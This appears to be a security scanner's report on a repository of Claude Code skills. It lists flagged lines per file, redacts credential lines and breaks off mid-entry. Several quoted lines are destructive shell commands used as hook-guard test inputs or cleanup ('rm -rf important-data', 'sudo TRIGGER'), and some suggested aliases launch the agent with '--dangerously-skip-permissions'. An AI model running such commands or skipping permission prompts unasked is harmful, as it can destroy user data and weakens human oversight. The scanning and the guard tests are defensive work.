    try:         with urllib.request.urlopen(req, timeout=timeout) as resp:             return resp.status, json.loads(resp.read().decode("utf-8", errors="replace"))
  • Network accessline 121
    with urllib.request.urlopen(req, timeout=timeout) as resp:
  • Access to secretsline 352
    [Credential-related source omitted]
  • Access to secretsline 371
    [Credential-related source omitted]
  • Access to secretsline 372
    [Credential-related source omitted]
  • Access to secretsline 373
    [Credential-related source omitted]
  • Access to secretsline 374
    [Credential-related source omitted]
  • Access to secretsline 376
    [Credential-related source omitted]
  • Access to secretsline 380
    [Credential-related source omitted]
  • Access to secretsline 381
    [Credential-related source omitted]
  • Access to secretsline 382
    [Credential-related source omitted]
  • Access to secretsline 383
    [Credential-related source omitted]
  • Access to secretsline 395
    [Credential-related source omitted]
  • Access to secretsline 412
    [Credential-related source omitted]
  • Access to secretsline 413
    [Credential-related source omitted]

daymade-claude-code/agent-web-search-setup/tests/test_diagnose.py

  • Executable scriptline 1
    Executable file
  • Network accessline 61
    def _probe(self, status, body, tool="web_search"):         diagnose.post = FakePost((status, body))         return diagnose.probe("https://relay.example", "k", "m", tool, 5)
  • Network accessline 63
    return diagnose.probe("https://relay.example", "k", "m", tool, 5)
  • Network accessline 100
    diagnose.post = FakePost((None, {"_timeout": 180}))         r = diagnose.probe("https://relay.example", "k", "m", "web_search", 180)
  • Network accessline 101
    r = diagnose.probe("https://relay.example", "k", "m", "web_search", 180)
  • Network accessline 105
    def test_transport_failure_is_inconclusive(self):         diagnose.post = FakePost((None, {"_transport_error": "name resolution failed"}))         r = diagnose.probe("https://relay.example", "k", "m", "web_search", 5)
  • Network accessline 106
    diagnose.post = FakePost((None, {"_transport_error": "name resolution failed"}))         r = diagnose.probe("https://relay.example", "k", "m", "web_search", 5)         self.assertEqual(r["verdict"], diagnose.VERDICT_UNKNOWN)
  • Network accessline 107
    r = diagnose.probe("https://relay.example", "k", "m", "web_search", 5)
  • Network accessline 124
    fake = FakePost((200, {"content": []}))         diagnose.post = fake         diagnose.probe("https://relay.example", "k", "m", "web_fetch", 5)
  • Network accessline 125
    diagnose.post = fake         diagnose.probe("https://relay.example", "k", "m", "web_fetch", 5)         sent = fake.calls[0]["payload"]["messages"][0]["content"]
  • Network accessline 126
    diagnose.probe("https://relay.example", "k", "m", "web_fetch", 5)
  • Network accessline 128
    self.assertIn("https://example.com", sent)
  • Network accessline 140
    def _probe(self, status, body):         diagnose.post = FakePost((status, body))         return diagnose.probe_openai("https://relay.example", "k", "m", 5)
  • Network accessline 142
    return diagnose.probe_openai("https://relay.example", "k", "m", 5)
  • Network accessline 168
    (200, {"choices": [{"message": {"content": "hi"}}]}),         )         r = diagnose.probe_openai("https://relay.example", "k", "m", 5)
  • Network accessline 169
    )         r = diagnose.probe_openai("https://relay.example", "k", "m", 5)         self.assertEqual(r["verdict"], diagnose.VERDICT_BROKEN)
  • Network accessline 170
    r = diagnose.probe_openai("https://relay.example", "k", "m", 5)
  • Network accessline 180
    (401, {"error": {"message": "invalid api key"}}),         )         r = diagnose.probe_openai("https://relay.example", "k", "m", 5)
  • Network accessline 181
    )         r = diagnose.probe_openai("https://relay.example", "k", "m", 5)         self.assertEqual(r["verdict"], diagnose.VERDICT_UNKNOWN)
  • Network accessline 182
    r = diagnose.probe_openai("https://relay.example", "k", "m", 5)
  • Network accessline 187
    fake = FakePost((404, {"message": "not found"}), (200, {"choices": []}))         diagnose.post = fake         diagnose.probe_openai("https://relay.example", "k", "m", 5)
  • Network accessline 188
    diagnose.post = fake         diagnose.probe_openai("https://relay.example", "k", "m", 5)         self.assertEqual([c["url"] for c in fake.calls], [
  • Network accessline 189
    diagnose.probe_openai("https://relay.example", "k", "m", 5)
  • Network accessline 190
    self.assertEqual([c["url"] for c in fake.calls], [             "https://relay.example/v1/responses",             "https://relay.example/v1/chat/completions",
  • Network accessline 191
    "https://relay.example/v1/responses",
  • Network accessline 192
    "https://relay.example/v1/chat/completions",
  • Network accessline 196
    fake = FakePost((200, {"output": []}))         diagnose.post = fake         diagnose.probe_openai("https://relay.example", "secret", "gpt-x", 5)
  • Network accessline 197
    diagnose.post = fake         diagnose.probe_openai("https://relay.example", "secret", "gpt-x", 5)         call = fake.calls[0]
  • Network accessline 198
    diagnose.probe_openai("https://relay.example", "secret", "gpt-x", 5)
  • Network accessline 199
    call = fake.calls[0]         self.assertEqual(call["url"], "https://relay.example/v1/responses")         self.assertEqual(call["headers"]["authorization"], "Bearer secret")
  • Network accessline 200
    self.assertEqual(call["url"], "https://relay.example/v1/responses")
  • Network accessline 223
    def test_broken_exits_1(self):         code, text = self._run(             "--url", "https://relay.example", "--key", "k", "--model", "m",
  • Network accessline 224
    code, text = self._run(             "--url", "https://relay.example", "--key", "k", "--model", "m",             "--tool", "web_search",
  • Network accessline 225
    "--url", "https://relay.example", "--key", "k", "--model", "m",
  • Network accessline 232
    def test_working_exits_0(self):         code, _ = self._run(             "--url", "https://relay.example", "--key", "k", "--model", "m",
  • Network accessline 233
    code, _ = self._run(             "--url", "https://relay.example", "--key", "k", "--model", "m",             "--tool", "web_search",
  • Network accessline 234
    "--url", "https://relay.example", "--key", "k", "--model", "m",
  • Network accessline 240
    def test_inconclusive_exits_2(self):         code, _ = self._run(             "--url", "https://relay.example", "--key", "k", "--model", "m",
  • Network accessline 241
    code, _ = self._run(             "--url", "https://relay.example", "--key", "k", "--model", "m",             "--tool", "web_search",
  • Network accessline 242
    "--url", "https://relay.example", "--key", "k", "--model", "m",
  • Network accessline 248
    def test_missing_key_exits_2(self):         code, text = self._run("--url", "https://relay.example", "--key", "")
  • Network accessline 249
    code, text = self._run("--url", "https://relay.example", "--key", "")
  • Network accessline 253
    def test_anthropic_direct_is_not_affected(self):         code, text = self._run("--url", "https://api.anthropic.com", "--key", "k")
  • Network accessline 254
    code, text = self._run("--url", "https://api.anthropic.com", "--key", "k")
  • Network accessline 261
    code, text = self._run("--api", "openai", "--url", "https://api.openai.com", "--key", "k")
  • Network accessline 265
    def test_openai_endpoint_is_not_excused_by_the_anthropic_host_check(self):         code, _ = self._run(             "--api", "openai", "--url", "https://relay.example", "--key", "k", "--model", "m",
  • Network accessline 266
    code, _ = self._run(             "--api", "openai", "--url", "https://relay.example", "--key", "k", "--model", "m",             replies=[(400, {"error": {"message": "Invalid schema for function 'web_search'"}})],
  • Network accessline 267
    "--api", "openai", "--url", "https://relay.example", "--key", "k", "--model", "m",
  • Network accessline 274
    fake = FakePost((200, {"content": []}))         diagnose.post = fake         self._run("--url", "https://relay.example", "--key", "k",
  • Network accessline 275
    diagnose.post = fake         self._run("--url", "https://relay.example", "--key", "k",                   "--model", "claude-opus-5[1m]", "--tool", "web_search")
  • Network accessline 276
    self._run("--url", "https://relay.example", "--key", "k",
  • Network accessline 280
    def test_json_output_parses_as_one_document(self):         code, text = self._run(             "--json", "--url", "https://relay.example", "--key", "k", "--model", "m",
  • Network accessline 281
    code, text = self._run(             "--json", "--url", "https://relay.example", "--key", "k", "--model", "m",             "--tool", "web_search",
  • Network accessline 282
    "--json", "--url", "https://relay.example", "--key", "k", "--model", "m",
  • Network accessline 299
    out = io.StringIO()         with redirect_stdout(out), redirect_stderr(io.StringIO()):             diagnose.main(["--api", "both", "--url", "https://relay.example",
  • Network accessline 300
    with redirect_stdout(out), redirect_stderr(io.StringIO()):             diagnose.main(["--api", "both", "--url", "https://relay.example",                            "--key", "k", "--model", "m", "--openai-model", "gpt-5"])
  • Network accessline 301
    diagnose.main(["--api", "both", "--url", "https://relay.example",
  • Network accessline 302
    "--key", "k", "--model", "m", "--openai-model", "gpt-5"])         routes = [c["url"] for c in fake.calls]         self.assertEqual(routes.count("https://relay.example/v1/messages"), 2)
  • Network accessline 303
    routes = [c["url"] for c in fake.calls]         self.assertEqual(routes.count("https://relay.example/v1/messages"), 2)         self.assertEqual(routes.count("https://relay.example/v1/responses"), 1)
  • Network accessline 304
    self.assertEqual(routes.count("https://relay.example/v1/messages"), 2)
  • Network accessline 305
    self.assertEqual(routes.count("https://relay.example/v1/responses"), 1)
  • Network accessline 319
    def _anthropic(self, message):         diagnose.post = FakePost((400, {"error": {"message": message}}))         return diagnose.probe("https://relay.example", "k", "m", "web_search", 5)
  • Network accessline 321
    return diagnose.probe("https://relay.example", "k", "m", "web_search", 5)
  • Network accessline 323
    def _openai(self, message):         diagnose.post = FakePost((400, {"error": {"message": message}}))         return diagnose.probe_openai("https://relay.example", "k", "m", 5)
  • Network accessline 325
    return diagnose.probe_openai("https://relay.example", "k", "m", 5)
  • Access to secretsline 361
    [Credential-related source omitted]
  • Access to secretsline 367
    [Credential-related source omitted]
  • Access to secretsline 369
    [Credential-related source omitted]
  • Network accessline 378
    def test_both_without_an_openai_model_does_not_send_the_anthropic_id(self):         code, fake = self._run(             ["--api", "both", "--url", "https://relay.example", "--key", "k",
  • Network accessline 379
    code, fake = self._run(             ["--api", "both", "--url", "https://relay.example", "--key", "k",              "--model", "claude-haiku-4-5"],
  • Network accessline 380
    ["--api", "both", "--url", "https://relay.example", "--key", "k",
  • Network accessline 384
    )         routes = [c["url"] for c in fake.calls]         self.assertNotIn("https://relay.example/v1/responses", routes)
  • Network accessline 385
    routes = [c["url"] for c in fake.calls]         self.assertNotIn("https://relay.example/v1/responses", routes)         self.assertEqual(code, 2)
  • Network accessline 386
    self.assertNotIn("https://relay.example/v1/responses", routes)
  • Network accessline 389
    def test_both_with_an_openai_model_sends_each_id_to_its_own_route(self):         code, fake = self._run(             ["--api", "both", "--url", "https://relay.example", "--key", "k",
  • Network accessline 390
    code, fake = self._run(             ["--api", "both", "--url", "https://relay.example", "--key", "k",              "--model", "claude-haiku-4-5", "--openai-model", "gpt-5"],
  • Network accessline 391
    ["--api", "both", "--url", "https://relay.example", "--key", "k",
  • Network accessline 396
    )         by_route = {c["url"]: c["payload"]["model"] for c in fake.calls}         self.assertEqual(by_route["https://relay.example/v1/messages"], "claude-haiku-4-5")
  • Network accessline 397
    by_route = {c["url"]: c["payload"]["model"] for c in fake.calls}         self.assertEqual(by_route["https://relay.example/v1/messages"], "claude-haiku-4-5")         self.assertEqual(by_route["https://relay.example/v1/responses"], "gpt-5")
  • Network accessline 398
    self.assertEqual(by_route["https://relay.example/v1/messages"], "claude-haiku-4-5")
  • Network accessline 399
    self.assertEqual(by_route["https://relay.example/v1/responses"], "gpt-5")
  • Network accessline 402
    [Credential-related source omitted]
  • Access to secretsline 402
    [Credential-related source omitted]
  • Network accessline 403
    _, fake = self._run(             ["--api", "both", "--url", "https://relay.example", "--key", "k",              "--model", "m"],
  • Network accessline 404
    ["--api", "both", "--url", "https://relay.example", "--key", "k",
  • Network accessline 409
    )         sent = {c["url"]: c["payload"]["model"] for c in fake.calls}         self.assertEqual(sent["https://relay.example/v1/responses"], "gpt-from-env")
  • Network accessline 411
    self.assertEqual(sent["https://relay.example/v1/responses"], "gpt-from-env")
  • Network accessline 424
    def test_every_result_carries_the_client_spelling(self):         diagnose.post = FakePost((200, {"content": [{"type": "tool_use", "id": "toolu_bdrk_1"}]}))         r = diagnose.probe("https://relay.example", "k", "m", "web_search", 5)
  • Network accessline 425
    diagnose.post = FakePost((200, {"content": [{"type": "tool_use", "id": "toolu_bdrk_1"}]}))         r = diagnose.probe("https://relay.example", "k", "m", "web_search", 5)         self.assertEqual(r["client_tool"], "WebSearch")
  • Network accessline 426
    r = diagnose.probe("https://relay.example", "k", "m", "web_search", 5)
  • Network accessline 429
    diagnose.post = FakePost((200, {"content": [{"type": "tool_use", "id": "toolu_bdrk_1"}]}))         r = diagnose.probe("https://relay.example", "k", "m", "web_fetch", 5)
  • Network accessline 430
    r = diagnose.probe("https://relay.example", "k", "m", "web_fetch", 5)
  • Network accessline 435
    out = io.StringIO()         with redirect_stdout(out), redirect_stderr(io.StringIO()):             diagnose.main(["--url", "https://relay.example", "--key", "k", "--model", "m",
  • Network accessline 436
    with redirect_stdout(out), redirect_stderr(io.StringIO()):             diagnose.main(["--url", "https://relay.example", "--key", "k", "--model", "m",                            "--tool", "web_search"])
  • Network accessline 437
    diagnose.main(["--url", "https://relay.example", "--key", "k", "--model", "m",
  • Access to secretsline 455
    [Credential-related source omitted]
  • Network accessline 456
    [Credential-related source omitted]
  • Access to secretsline 456
    [Credential-related source omitted]
  • Network accessline 457
    try:             code, text = self._run(["--api", "openai", "--url", "https://relay.example",                                     "--key", ""])
  • Network accessline 458
    code, text = self._run(["--api", "openai", "--url", "https://relay.example",
  • Access to secretsline 461
    [Credential-related source omitted]
  • Access to secretsline 465
    [Credential-related source omitted]
  • Access to secretsline 468
    [Credential-related source omitted]
  • Network accessline 469
    [Credential-related source omitted]
  • Access to secretsline 469
    [Credential-related source omitted]
  • Network accessline 470
    try:             _, text = self._run(["--url", "https://relay.example", "--key", ""])             self.assertIn("settings.json", text)
  • Network accessline 471
    _, text = self._run(["--url", "https://relay.example", "--key", ""])
  • Access to secretsline 476
    [Credential-related source omitted]

daymade-claude-code/claude-code-hooks/SKILL.md

  • Network accessline 42
    | Type | Fires | Exit 0 | Exit 2 | Other | |---|---|---|---|---| | **PreToolUse** | before a tool runs | normal permission flow unless JSON supplies allow/deny/ask | **block** the call even when JSON says `allow`; read valid JSON fields (v2
  • Network accessline 43
    |---|---|---|---|---| | **PreToolUse** | before a tool runs | normal permission flow unless JSON supplies allow/deny/ask | **block** the call even when JSON says `allow`; read valid JSON fields (v2.1.214+). JSON blocking reason or stderr → 
  • Network accessline 44
    | **PreToolUse** | before a tool runs | normal permission flow unless JSON supplies allow/deny/ask | **block** the call even when JSON says `allow`; read valid JSON fields (v2.1.214+). JSON blocking reason or stderr → model | without schema
  • Dangerous shell operationline 234
    command position" for `timeout 5 TRIGGER`, `sudo -u root TRIGGER` and
  • Dangerous shell operationline 236
    `sudo TRIGGER` is fine in both — it is the wrapper's *own* flag taking an argument
  • Network accessline 328
    confirmed, independently-reproduced bugs and 1 finding whose own cited evidence turned out to be a hallucinated doc quote — caught only because the verifier was required to curl the raw source and grep for the exact string
  • Network accessline 329
    evidence turned out to be a hallucinated doc quote — caught only because the verifier was required to curl the raw source and grep for the exact string rather than trust the citation.
  • Network accessline 330
    verifier was required to curl the raw source and grep for the exact string
  • Network accessline 380
    only after observing that session invoke the changed registration; a successful   settings write or startup health line alone is insufficient. The current   [ConfigChange contract](https://code.claude.com/docs/en/hooks#configchange)
  • Network accessline 381
    settings write or startup health line alone is insufficient. The current   [ConfigChange contract](https://code.claude.com/docs/en/hooks#configchange)   allows settings changes to be applied to a running session; it does not prove
  • Network accessline 382
    [ConfigChange contract](https://code.claude.com/docs/en/hooks#configchange)
  • Network accessline 636
    **The test, borrowed from termination proofs in program verification** — a [loop variant / ranking function](https://en.wikipedia.org/wiki/Loop_variant): write
  • Network accessline 637
    variant / ranking function](https://en.wikipedia.org/wiki/Loop_variant): write
  • Network accessline 829
    counter never accumulates. Print the count ("reminder 2 of 3") — see the war    story below for why that wording earns its place. The cap output uses the    documented universal [`continue:false` / `stopReason` JSON fields](https://code.cla
  • Network accessline 830
    story below for why that wording earns its place. The cap output uses the    documented universal [`continue:false` / `stopReason` JSON fields](https://code.claude.com/docs/en/hooks#json-output)    so the user sees a capped stop instead of 
  • Network accessline 831
    documented universal [`continue:false` / `stopReason` JSON fields](https://code.claude.com/docs/en/hooks#json-output)
  • Network accessline 843
    4. **Hysteresis / a cool-down window** (the control-theory answer to    [alert flapping](https://utcc.utoronto.ca/~cks/space/blog/sysadmin/HysteresisMeaningAndAlerts)):
  • Network accessline 844
    [alert flapping](https://utcc.utoronto.ca/~cks/space/blog/sysadmin/HysteresisMeaningAndAlerts)):

daymade-claude-code/claude-code-hooks/references/hook_patterns.md

  • Access to secretsline 117
    [Credential-related source omitted]
  • Access to secretsline 188
    [Credential-related source omitted]
  • Dangerous shell operationline 235
    including their VALUED flags and positional args, or `sudo -u root git
  • Dangerous shell operationline 254
    if t in WRAPPERS or t.rsplit("/", 1)[-1] in WRAPPERS:   # /usr/bin/sudo 同效
  • Dangerous shell operationline 409
    (`sudo -u root`, `timeout 5`); use those if your targets ride wrappers often."""
  • Dangerous shell operationline 424
    """Wrapper introspection (`command -v TRIGGER`, `sudo -l`, incl. bundled
  • Dangerous shell operationline 490
    if idx < 0 or _is_query(seg, idx):  # `sudo TRIGGER` IS a hit, and
  • Dangerous shell operationline 705
    stamp "gui-allow"; rm -f "$ERR"; exit 0
  • Dangerous shell operationline 711
    rm -f "$ERR"; echo "BLOCKED: <ACTION> not confirmed (declined / cancelled / timed out)." >&2; exit 2
  • Access to secretsline 964
    [Credential-related source omitted]
  • Access to secretsline 978
    [Credential-related source omitted]
  • Access to secretsline 1025
    [Credential-related source omitted]

daymade-claude-code/claude-code-hooks/references/hook_pitfalls.md

  • Access to secretsline 22
    [Credential-related source omitted]
  • Network accessline 510
    "the review must be newer than the last edit". T is its negation. State T as   the fire condition or you will reason about the wrong operand.) The loop has   no [variant](https://en.wikipedia.org/wiki/Loop_variant): nothing strictly
  • Network accessline 511
    the fire condition or you will reason about the wrong operand.) The loop has   no [variant](https://en.wikipedia.org/wiki/Loop_variant): nothing strictly   decreases per cycle, so nothing forces termination.
  • Network accessline 512
    no [variant](https://en.wikipedia.org/wiki/Loop_variant): nothing strictly
  • Dangerous shell operationline 533
    receipt present → quiet, with `rm -f` / `: >` around them (the state lives on the
  • Network accessline 3012
    pipe usage. Writing the heredoc before a reader starts can then block. This is   a shell redirection failure, not evidence that the child or its service hung.   GNU Bash's [bash53-016 patch](https://ftp.gnu.org/gnu/bash/bash-5.3-patches/bas
  • Network accessline 3013
    a shell redirection failure, not evidence that the child or its service hung.   GNU Bash's [bash53-016 patch](https://ftp.gnu.org/gnu/bash/bash-5.3-patches/bash53-016)   uses a nonblocking write and falls back to a temporary file on capacit
  • Network accessline 3014
    GNU Bash's [bash53-016 patch](https://ftp.gnu.org/gnu/bash/bash-5.3-patches/bash53-016)
  • Dangerous shell operationline 3052
    [Credential-related source omitted]
  • Access to secretsline 3052
    [Credential-related source omitted]
  • Network accessline 3338
    - **Codex Code Mode:** use Skill Creator's   [receipt recipe](https://github.com/daymade/claude-code-skills/blob/main/daymade-skill/skill-creator/references/stateful-script-verification.md#codex-code-mode-receipt).
  • Network accessline 3339
    [receipt recipe](https://github.com/daymade/claude-code-skills/blob/main/daymade-skill/skill-creator/references/stateful-script-verification.md#codex-code-mode-receipt).

daymade-claude-code/claude-code-hooks/scripts/test_hook.group-name-guard.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

daymade-claude-code/claude-code-hooks/scripts/test_hook.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 79
    run "wrapper-sudo"   '{"tool_name":"Bash","tool_input":{"command":"sudo TRIGGER -x"}}' 2
  • Dangerous shell operationline 160
    #      rm -f "$RECEIPT";  run "demands R (no receipt)"       "$EVT" 2
  • Dangerous shell operationline 162
    #      rm -f "$RECEIPT"
  • Dangerous shell operationline 176
    #        and assert the last one is 0. `rm -f "$CNT"` before AND after, or a stale

daymade-claude-code/claude-export-txt-better/scripts/fix-claude-export.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/claude-export-txt-better/scripts/validate-claude-export-fix.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/claude-md-progressive-disclosurer/references/progressive_disclosure_principles.md

  • Network accessline 29
    | 来源与类型 | 支持什么 | 不支持什么 | |---|---|---| | [Claude Code best practices](https://code.claude.com/docs/en/best-practices),官方工程建议 | 保留不可从代码可靠推断的项目约定;用真实任务观察指令修改后的行为 | 不授权删除用户明确要求的长期契约;不证明每条规则都须重写成固定格式 |
  • Network accessline 30
    |---|---|---| | [Claude Code best practices](https://code.claude.com/docs/en/best-practices),官方工程建议 | 保留不可从代码可靠推断的项目约定;用真实任务观察指令修改后的行为 | 不授权删除用户明确要求的长期契约;不证明每条规则都须重写成固定格式 | | [Claude Code memory](https://code.claude.com/docs/en/memory),宿主机制
  • Network accessline 31
    | [Claude Code best practices](https://code.claude.com/docs/en/best-practices),官方工程建议 | 保留不可从代码可靠推断的项目约定;用真实任务观察指令修改后的行为 | 不授权删除用户明确要求的长期契约;不证明每条规则都须重写成固定格式 |
  • Network accessline 32
    | [Claude Code memory](https://code.claude.com/docs/en/memory),宿主机制 | import 展开加载;无条件 rules 常驻,paths 规则按匹配文件读取加载;应核对实际加载面 | 不证明拆文件就省上下文;CLAUDE.md 的篇幅建议不等于模型通用遵循上限 |
  • Network accessline 33
    | [Codex AGENTS.md](https://developers.openai.com/codex/guides/agents-md/),宿主机制 | 分开核对全局与项目层级的 override、fallback、合并顺序和加载预算 | 不把 Claude 的路径规则或导入语法直接外推到 Codex;配置存在不能替代加载读回 |
  • Network accessline 34
    | [Anthropic Skill authoring](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/best-practices),官方编写建议 | 主文保留概览、细节一层可达;以具体任务验证 Skill | 不要求每次维护都运行完整模型矩阵;不以篇幅或评测数量替代本次成功标准 |
  • Network accessline 35
    | [OpenAI Harness engineering](https://openai.com/index/harness-engineering/),工程经验 | 简短导航连接到有维护归属的文档来源 | 不是随机对照试验,文中规模不是所有仓库的最佳阈值 |
  • Network accessline 36
    | [Gloaguen et al., v2](https://arxiv.org/html/2602.11988v2),限定任务实验 | 在所测模型/软件任务中,生成的上下文文件增加了成本,成功率收益并不稳定 | 未测这里的全局授权契约,也不是 GPT-6/Fable 5.1 的规则数量上限实验 |
  • Network accessline 37
    | [Lulla et al., v2](https://arxiv.org/html/2601.20404v2),小 PR 实验 | 在其 GPT-5.2-Codex 样本上观测执行时间和输出 token 下降 | 未评估正确性;不能把效率变化称为质量提升 |
  • Network accessline 38
    | [ManyIFEval](https://aclanthology.org/2025.findings-emnlp.896/),合成约束实验 | 多约束下逐条遵循与全部遵循是不同指标 | 不提供 CLAUDE.md/AGENTS.md 的通用条数或行数上限 |
  • Network accessline 39
    | [McMillan 2026, arXiv 2605.10039](https://arxiv.org/abs/2605.10039),析因实验 | 1,650 个 Claude Code 会话、两个 TypeScript 仓、主测 Sonnet 4.6:文件长度、规则位置、单文件/嵌套、相邻文件矛盾四个变量及其两两交互,经多重检验校正后均无可检出差异。它支持「不以行数、位置为优化目标」 | 被测的是一条琐碎的注解规则;不证明带条件、需语义判断的授权规则同样不受长度影响,
  • Network accessline 40
    | [IFScale, arXiv 2507.11538](https://arxiv.org/abs/2507.11538),合成约束实验 | 指令密度升高时遵循率下降,最佳模型在 500 条时约 68%;靠前指令遵循率更高。社区流传的「150–200 条」出自对它的转述 | 指令是「报告中包含某关键词」,不是行为规则;不给 CLAUDE.md 条数上限,也不推出固定首尾位置(上一行的位置变量无差异) |
  • Network accessline 41
    | [Chroma Context Rot](https://www.trychroma.com/research/context-rot),长输入实验 | 18 个模型在简单任务上都随输入变长而退化,远未到窗口上限时就开始 | 测的是整体输入长度,不是指令文件;不给指令文件的篇幅阈值 |
  • Network accessline 42
    | [Claude prompting best practices](https://platform.claude.com/docs/en/build-with-claude/prompt-engineering/claude-prompting-best-practices),官方提示建议 | 新模型对系统提示更敏感,为防欠触发写的强语气(`CRITICAL: You MUST…`)会导致过度触发,应改回平常语气;给出行为的原因有助于判断适用边界 | 没有对照数据证明强
  • Network accessline 43
    | [HumanLayer](https://www.humanlayer.dev/blog/writing-a-good-claude-md)、[AI Hero AGENTS.md 指南](https://www.aihero.dev/a-complete-guide-to-agents-md)、[Alex Dunlop 综述](https://www.alexdunlop.com/writing/claude-md-best-practices),实践者经验 | 根文件做

daymade-claude-code/claude-md-progressive-disclosurer/references/verification-recipes.md

  • Network accessline 70
    宿主入口依据:[Codex 自定义指令](https://learn.chatgpt.com/docs/agent-configuration/agents-md)、[Claude Code 项目指令](https://code.claude.com/docs/en/memory)。原生调试命令的支持和输出结构仍须用当前安装版本实测。
  • Access to secretsline 123
    [Credential-related source omitted]
  • Dangerous shell operationline 133
    很多 hook 读它们。实测同一条 `rm -rf important-data`:**不带 `cwd` → exit 0**(该 guard 的设计是

daymade-claude-code/claude-md-progressive-disclosurer/scripts/markdown_headings.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/claude-md-progressive-disclosurer/scripts/profile_claude_md.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/claude-md-progressive-disclosurer/scripts/sink_sections.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/claude-md-progressive-disclosurer/tests/test_scripts.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/claude-migrate-memory-to-doc/references/tool_agnostic_migration.md

  • Dangerous shell operationline 45
    rm -f ~/.codex/AGENTS.md; ln -s "$TARGET" ~/.codex/AGENTS.md   # absent or 0-byte placeholder

daymade-claude-code/claude-migrate-memory-to-doc/scripts/migrate_verbatim.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/claude-migrate-memory-to-doc/tests/test_migrate_verbatim.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/claude-skills-troubleshooting/SKILL.md

  • Network accessline 42
    **Root Cause:** Known bug ([GitHub #17832](https://github.com/anthropics/claude-code/issues/17832)) - plugins are added to `installed_plugins.json` but NOT automatically added to `enabledPlugins` in `settings.json`.
  • Network accessline 42
    **Root Cause:** Known bug ([GitHub #17832](https://github.com/anthropics/claude-code/issues/17832)) - plugins are added to `installed_plugins.json` but NOT automatically added to `enabledPlugins` in `settings.json`.
  • Dangerous shell operationline 101
    rm -rf ~/.claude/plugins/cache/marketplace-name
  • Dangerous shell operationline 101
    rm -rf ~/.claude/plugins/cache/marketplace-name

daymade-claude-code/claude-skills-troubleshooting/references/known_issues.md

  • Network accessline 9
    **Status:** OPEN **URL:** https://github.com/anthropics/claude-code/issues/17832
  • Network accessline 10
    **URL:** https://github.com/anthropics/claude-code/issues/17832
  • Network accessline 25
    **Status:** OPEN **URL:** https://github.com/anthropics/claude-code/issues/19696
  • Network accessline 26
    **URL:** https://github.com/anthropics/claude-code/issues/19696
  • Network accessline 38
    **Status:** Reported **URL:** https://github.com/anthropics/claude-code/issues/17089
  • Network accessline 39
    **URL:** https://github.com/anthropics/claude-code/issues/17089
  • Network accessline 49
    **Status:** Reported **URL:** https://github.com/anthropics/claude-code/issues/13543
  • Network accessline 50
    **URL:** https://github.com/anthropics/claude-code/issues/13543
  • Network accessline 58
    **Status:** Reported **URL:** https://github.com/anthropics/claude-code/issues/16260
  • Network accessline 59
    **URL:** https://github.com/anthropics/claude-code/issues/16260
  • Network accessline 90
    - [Plugins Reference](https://code.claude.com/docs/en/plugins-reference)
  • Network accessline 91
    - [Claude Code Settings](https://code.claude.com/docs/en/settings)

daymade-claude-code/claude-skills-troubleshooting/scripts/diagnose_plugins.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/claude-skills-troubleshooting/scripts/enable_all_plugins.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/claude-switch-models-setup/SKILL.md

  • Network accessline 252
    `claude-profiles.sh` does not generate them. StepFun is the running      example: its subscription plan only answers at a dedicated plan base URL      (`https://api.stepfun.com/step_plan`, single model), while pay-as-you-go
  • Network accessline 252
    `claude-profiles.sh` does not generate them. StepFun is the running      example: its subscription plan only answers at a dedicated plan base URL      (`https://api.stepfun.com/step_plan`, single model), while pay-as-you-go
  • Network accessline 253
    example: its subscription plan only answers at a dedicated plan base URL      (`https://api.stepfun.com/step_plan`, single model), while pay-as-you-go      goes through the provider's standard endpoint or whatever gateway fronts
  • Network accessline 253
    example: its subscription plan only answers at a dedicated plan base URL      (`https://api.stepfun.com/step_plan`, single model), while pay-as-you-go      goes through the provider's standard endpoint or whatever gateway fronts
  • Network accessline 254
    (`https://api.stepfun.com/step_plan`, single model), while pay-as-you-go
  • Network accessline 254
    (`https://api.stepfun.com/step_plan`, single model), while pay-as-you-go
  • Instruction override signalline 259
    ```bash      alias cssplan='claude-profile step-plan --dangerously-skip-permissions'
  • Instruction override signalline 259
    ```bash      alias cssplan='claude-profile step-plan --dangerously-skip-permissions'
  • Instruction override signalline 260
    alias cssplan='claude-profile step-plan --dangerously-skip-permissions'
  • Instruction override signalline 260
    alias cssplan='claude-profile step-plan --dangerously-skip-permissions'
  • Instruction override signalline 261
    alias cssp='claude-profile step-pay --dangerously-skip-permissions'
  • Instruction override signalline 261
    alias cssp='claude-profile step-pay --dangerously-skip-permissions'
  • Access to secretsline 344
    [Credential-related source omitted]
  • Access to secretsline 344
    [Credential-related source omitted]
  • Access to secretsline 354
    [Credential-related source omitted]
  • Access to secretsline 354
    [Credential-related source omitted]

daymade-claude-code/claude-switch-models-setup/assets/templates/anthropic.json

  • Network accessline 1
    {   "env": {     "ANTHROPIC_BASE_URL": "https://api.anthropic.com",
  • Network accessline 2
    "env": {     "ANTHROPIC_BASE_URL": "https://api.anthropic.com",     "ANTHROPIC_DEFAULT_HAIKU_MODEL": "claude-haiku-4-5-20251001",
  • Network accessline 3
    "ANTHROPIC_BASE_URL": "https://api.anthropic.com",

daymade-claude-code/claude-switch-models-setup/assets/templates/minimax-cn.json

  • Network accessline 1
    {   "env": {     "ANTHROPIC_BASE_URL": "https://api.minimaxi.com/anthropic",
  • Network accessline 2
    "env": {     "ANTHROPIC_BASE_URL": "https://api.minimaxi.com/anthropic",     "ANTHROPIC_DEFAULT_HAIKU_MODEL": "MiniMax-M3[1m]",
  • Network accessline 3
    "ANTHROPIC_BASE_URL": "https://api.minimaxi.com/anthropic",

daymade-claude-code/claude-switch-models-setup/assets/templates/minimax-m2-7-cn.json

  • Network accessline 1
    {   "env": {     "ANTHROPIC_BASE_URL": "https://api.minimaxi.com/anthropic",
  • Network accessline 2
